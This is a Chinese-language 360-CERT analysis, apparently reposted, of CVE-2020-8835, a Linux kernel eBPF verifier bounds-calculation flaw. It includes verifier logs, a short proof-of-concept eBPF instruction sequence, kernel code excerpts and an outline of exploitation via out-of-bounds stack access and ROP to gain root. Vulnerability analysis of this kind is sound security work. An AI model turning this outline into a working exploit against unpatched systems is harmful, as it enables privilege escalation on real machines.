CVE-2020-8835: Linux Kernel 信息泄漏/权限提升漏洞分析
CVE-2020-8835: Linux Kernel 信息泄漏/權限提升漏洞分析
360-CERT [360CERT](javascript:void(0)😉 今天
0x00 漏洞背景
2020年03月31日, 360CERT監(jiān)測發(fā)現(xiàn) ZDI 在 Pwn2Own 比賽上演示的 Linux 內核權限提升漏洞已經被 CVE 收錄,CVE編號: CVE-2020-8835。
該漏洞由@Manfred Paul發(fā)現(xiàn),漏洞是因為bpf驗證程序沒有正確計算一些特定操作的寄存器范圍,導致寄存器邊界計算不正確,進而引發(fā)越界讀取和寫入。該漏洞在Linux Kernelcommit(581738a681b6)中引入。
2020年04月20日,360CERT對該漏洞進行了詳細分析,并完成漏洞利用。
eBPF介紹
eBPF是extended Berkeley Packet Filter的縮寫。起初是用于捕獲和過濾特定規(guī)則的網絡數(shù)據(jù)包,現(xiàn)在也被用在防火墻,安全,內核調試與性能分析等領域。
eBPF程序的運行過程如下:在用戶空間生產eBPF“字節(jié)碼”,然后將“字節(jié)碼”加載進內核中的“虛擬機”中,然后進行一些列檢查,通過則能夠在內核中執(zhí)行這些“字節(jié)碼”。類似Java與JVM虛擬機,但是這里的虛擬機是在內核中的。
內核中的eBPF驗證程序
允許用戶代碼在內核中運行存在一定的危險性。因此,在加載每個eBPF程序之前,都要執(zhí)行許多檢查。
首先確保eBPF程序能正常終止,不包含任何可能導致內核鎖定的循環(huán)。這是通過對程序的控制流圖(CFG)進行深度優(yōu)先搜索來實現(xiàn)的。包含無法訪問的指令的eBPF程序,將無法加載。
第二需要內核驗證器(verifier ),模擬eBPF程序的執(zhí)行,模擬通過后才能正常加載。在執(zhí)行每條指令之前和之后,都需要檢查虛擬機狀態(tài),以確保寄存器和堆棧狀態(tài)是有效的。禁止越界跳轉,也禁止訪問非法數(shù)據(jù)。
驗證器不需要遍歷程序中的每條路徑,它足夠聰明,可以知道程序的當前狀態(tài)何時是已經檢查過的狀態(tài)的子集。由于所有先前的路徑都必須有效(否則程序將無法加載),因此當前路徑也必須有效。這允許驗證器“修剪”當前分支并跳過其仿真。
其次具有未初始化數(shù)據(jù)的寄存器無法讀取;這樣做會導致程序加載失敗。
最后,驗證器使用eBPF程序類型來限制可以從eBPF程序中調用哪些內核函數(shù)以及可以訪問哪些數(shù)據(jù)結構。
bpf程序的執(zhí)行流程如下圖:
0x01 漏洞分析
為了更加精確地規(guī)定寄存器的訪問范圍,linux kernel 引入了reg_bound_offset32函數(shù)來獲取范圍,在調用jmp32之后執(zhí)行。如umax為0x7fffffff,var_off為0xfffffffc,取其并集算出的結果應為0x7ffffffc。而漏洞點就在于引入的reg_bound_offset32函數(shù),該函數(shù)計算的結果并不正確。如執(zhí)行以下代碼:
5: R0_w=inv1 R1_w=inv(id=0) R10=fp05: (18) r2 = 0x40000000007: (18) r3 = 0x20000000009: (18) r4 = 0x40011: (18) r5 = 0x20013: (2d) if r1 > r2 goto pc+4R0_w=inv1 R1_w=inv(id=0,umax_value=274877906944,var_off=(0x0; 0x7fffffffff)) R2_w=inv274877906944 R3_w=inv137438953472 R4_w=inv1024 R5_w=inv512 R10=fp014: R0_w=inv1 R1_w=inv(id=0,umax_value=274877906944,var_off=(0x0; 0x7fffffffff)) R2_w=inv274877906944 R3_w=inv137438953472 R4_w=inv1024 R5_w=inv512 R10=fp014: (ad) if r1 < r3 goto pc+3R0_w=inv1 R1_w=inv(id=0,umin_value=137438953472,umax_value=274877906944,var_off=(0x0; 0x7fffffffff)) R2_w=inv274877906944 R3_w=inv137438953472 R4_w=inv1024 R5_w=inv512 R10=fp015: R0=inv1 R1=inv(id=0,umin_value=137438953472,umax_value=274877906944,var_off=(0x0; 0x7fffffffff)) R2=inv274877906944 R3=inv137438953472 R4=inv1024 R5=inv512 R10=fp015: (2e) if w1 > w4 goto pc+2R0=inv1 R1=inv(id=0,umin_value=137438953472,umax_value=274877906944,var_off=(0x0; 0x7f00000000)) R2=inv274877906944 R3=inv137438953472 R4=inv1024 R5=inv512 R10=fp016: R0=inv1 R1=inv(id=0,umin_value=137438953472,umax_value=274877906944,var_off=(0x0; 0x7f00000000)) R2=inv274877906944 R3=inv137438953472 R4=inv1024 R5=inv512 R10=fp016: (ae) if w1 < w5 goto pc+1R0=inv1 R1=inv(id=0,umin_value=137438953472,umax_value=274877906944,var_off=(0x0; 0x7f00000000)) R2=inv274877906944 R3=inv137438953472 R4=inv1024 R5=inv512 R10=fp064位下的范圍為:
reg->umin_value = 0x2000000000 reg->umax_value = 0x4000000000 p->var_off.mask = 0x7fffffffff而在32位下,寄存器的范圍為[0x200, 0x400],正常預期獲得的reg->var_off.mask應為0x7f000007ff,或者不精確時為0x7fffffffff。但通過__reg_bound_offset32函數(shù)獲取的結果如下:
reg->umin_value: 0x2000000000 reg->umax_value: 0x4000000000 reg->var_off.value: 0x0 reg->var_off.mask: 0x7f00000000對于reg->var_off.mask的計算錯誤,有可能造成后續(xù)的判斷或計算錯誤,使得bpf在驗證時和實際運行時計算結果不同,最終導致信息泄露和權限提升。
2.1 poc分析
0: (b7) r0 = 8084644321: (7f) r0 >>= r02: (14) w0 -= 8084644323: (07) r0 += 8084644324: (b7) r1 = 8084644325: (de) if w1 s<= w0 goto pc+06: (07) r0 += -21443378727: (14) w0 -= -16074546728: (25) if r0 > 0x30303030 goto pc+09: (76) if w0 s>= 0x303030 goto pc+210: (05) goto pc-111: (05) goto pc-112: (95) exit在bpf驗證這段程序時,會通過is_branch_taken函數(shù)對跳轉進行判斷:
/* compute branch direction of the expression "if (reg opcode val) goto target;"* and return:* 1 - branch will be taken and "goto target" will be executed* 0 - branch will not be taken and fall-through to next insn* -1 - unknown. Example: "if (reg < 5)" is unknown when register value range [0,10]*/ static int is_branch_taken(struct bpf_reg_state *reg, u64 val, u8 opcode,bool is_jmp32)通過調試,可以看到其中對于第9條指令(BPF_JSGE)的跳轉如下:
是通過reg->smin_value和sval進行比較判斷,由于var_off的計算錯誤,間接導致smin_value的結果錯誤,使得BPF_JSGE的跳轉恒成立。而在實際運行時,w0為-536883200,為負數(shù),小于0x00303030,所以第9條指令" if w0 s>= 0x303030 goto pc+2 "不跳轉,執(zhí)行下一條執(zhí)行,而下一條指令被填充了dead_code(goto pc-1)。
綠框表示下一條要執(zhí)行的指令(rbx寄存器保存著當前執(zhí)行指令在jumptable數(shù)組中的偏移,加0x8表示下一條指令)
而所謂的dead_code其實就是填充下一條指令為“BPF_JMP_IMM(BPF_JA, 0, 0, -1);”
static void sanitize_dead_code(struct bpf_verifier_env *env) {struct bpf_insn_aux_data *aux_data = env->insn_aux_data;struct bpf_insn trap = BPF_JMP_IMM(BPF_JA, 0, 0, -1);struct bpf_insn *insn = env->prog->insnsi;const int insn_cnt = env->prog->len;int i;for (i = 0; i < insn_cnt; i++) {if (aux_data[i].seen)continue;memcpy(insn + i, &trap, sizeof(trap));} }造成了死循環(huán)。
0x02 漏洞利用
要對該漏洞完成利用,需要考慮計算錯誤的var_off.mask在后續(xù)哪些操作中會造成影響,從而導致檢查時和運行時不一致。我們找到了BPF_AND操作:
kernel/bpf/verifier.c:4937case BPF_AND:if (src_known && dst_known) {__mark_reg_known(dst_reg, dst_reg->var_off.value &src_reg.var_off.value);break;}/* We get our minimum from the var_off, since that's inherently* bitwise. Our maximum is the minimum of the operands' maxima.*/dst_reg->var_off = tnum_and(dst_reg->var_off, src_reg.var_off);// ****……實際上的AND操作是在tnum_and中進行:
struct tnum tnum_and(struct tnum a, struct tnum b) {u64 alpha, beta, v;alpha = a.value | a.mask;beta = b.value | b.mask;v = a.value & b.value;return TNUM(v, alpha & beta & ~v); }該操作前的寄存器狀態(tài)為:
$12 = {type = 0x1, {range = 0x0, map_ptr = 0x0, btf_id = 0x0, raw = 0x0}, off = 0x0, id = 0x0,ref_obj_id = 0x0, var_off = {value = 0x0, mask = 0x7f00000000}, smin_value = 0x2000000000,smax_value = 0x4000000000, umin_value = 0x2000000000, umax_value = 0x4000000000, parent = 0xffff88801f97ab40,frameno = 0x0, subreg_def = 0x0, live = 0x0, precise = 0x1}tnum_and操作后的狀態(tài)為:
$16 = {type = 0x1, {range = 0x0, map_ptr = 0x0, btf_id = 0x0, raw = 0x0}, off = 0x0, id = 0x0,ref_obj_id = 0x0, var_off = {value = 0x0, mask = 0x0}, smin_value = 0x2000000000, smax_value = 0x4000000000,umin_value = 0x0, umax_value = 0xffffffff, parent = 0xffff88801f97ab40, frameno = 0x0, subreg_def = 0x0,live = 0x4, precise = 0x1}tnum_and操作導致var_off.value=0, var_off.mask=0。
之后調用 __update_reg_bounds函數(shù)時,導致reg->smin_value=0,reg->smax_value=0
$48 = {type = 0x1, {range = 0x0, map_ptr = 0x0, btf_id = 0x0, raw = 0x0}, off = 0x0, id = 0x0,ref_obj_id = 0x0, var_off = {value = 0x0, mask = 0x0}, smin_value = 0x0, smax_value = 0x0, umin_value = 0x0,umax_value = 0x0, parent = 0xffff88801f97c340, frameno = 0x0, subreg_def = 0x0, live = 0x4, precise = 0x1}這里相當于在檢查時寄存器的值為0,而實際運行時寄存器是正常值。進而繞過檢查,可以對map指針進行加減操作,導致越界讀寫:
adjust_ptr_min_max_vals():case PTR_TO_MAP_VALUE:if (!env->allow_ptr_leaks && !known && (smin_val < 0) != (smax_val < 0)) {verbose(env, "R%d has unknown scalar with mixed signed bounds, pointer arithmetic with it prohibited for !root\n",off_reg == dst_reg ? dst : src);return -EACCES;}其實這里的越界讀寫,bpf在執(zhí)行完do_check后會調用fixup_bpf_calls,檢查加減操作,并做了防止越界的patch:
if (insn->code == (BPF_ALU64 | BPF_ADD | BPF_X) ||insn->code == (BPF_ALU64 | BPF_SUB | BPF_X)) {const u8 code_add = BPF_ALU64 | BPF_ADD | BPF_X;const u8 code_sub = BPF_ALU64 | BPF_SUB | BPF_X;struct bpf_insn insn_buf[16];struct bpf_insn *patch = &insn_buf[0];bool issrc, isneg;u32 off_reg;aux = &env->insn_aux_data[i + delta];if (!aux->alu_state ||aux->alu_state == BPF_ALU_NON_POINTER)continue;isneg = aux->alu_state & BPF_ALU_NEG_VALUE;issrc = (aux->alu_state & BPF_ALU_SANITIZE) ==BPF_ALU_SANITIZE_SRC;off_reg = issrc ? insn->src_reg : insn->dst_reg;if (isneg)*patch++ = BPF_ALU64_IMM(BPF_MUL, off_reg, -1);*patch++ = BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit - 1);*patch++ = BPF_ALU64_REG(BPF_SUB, BPF_REG_AX, off_reg);*patch++ = BPF_ALU64_REG(BPF_OR, BPF_REG_AX, off_reg);*patch++ = BPF_ALU64_IMM(BPF_NEG, BPF_REG_AX, 0);*patch++ = BPF_ALU64_IMM(BPF_ARSH, BPF_REG_AX, 63);上述代碼的效果實際上是添加了以下指令,來對加減的寄存器范圍作了限制,防止越界:
我們可以通過對指針進行不停累加,進而繞過該補丁。但我們在實際編寫利用過程中,有數(shù)據(jù)的地址離map太遠,累加次數(shù)過多,而bpf又限制指令的數(shù)量。所以我們轉而對棧指針進行越界讀寫,發(fā)現(xiàn)可以做到棧溢出。之后覆蓋返回地址即可,但需要通過rop技術繞過smep、smap和kpti保護機制。
漏洞利用提權成功效果圖:
0x03 時間線
2020-03-19 ZDI 展示該漏洞攻擊成果
2020-03-30 CVE 收錄該漏洞
2020-03-31 360CERT發(fā)布預警
2020-04-21 360CERT完成漏洞利用并發(fā)布漏洞分析報告
0x04 參考鏈接
轉載自https://mp.weixin.qq.com/s/XteBFMBI_j8R6uateNK_YQ
總結
以上是生活随笔為你收集整理的CVE-2020-8835: Linux Kernel 信息泄漏/权限提升漏洞分析的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: win7 笔记本 做WIFI热点的设置
- 下一篇: opencv_contrib扩展模块的安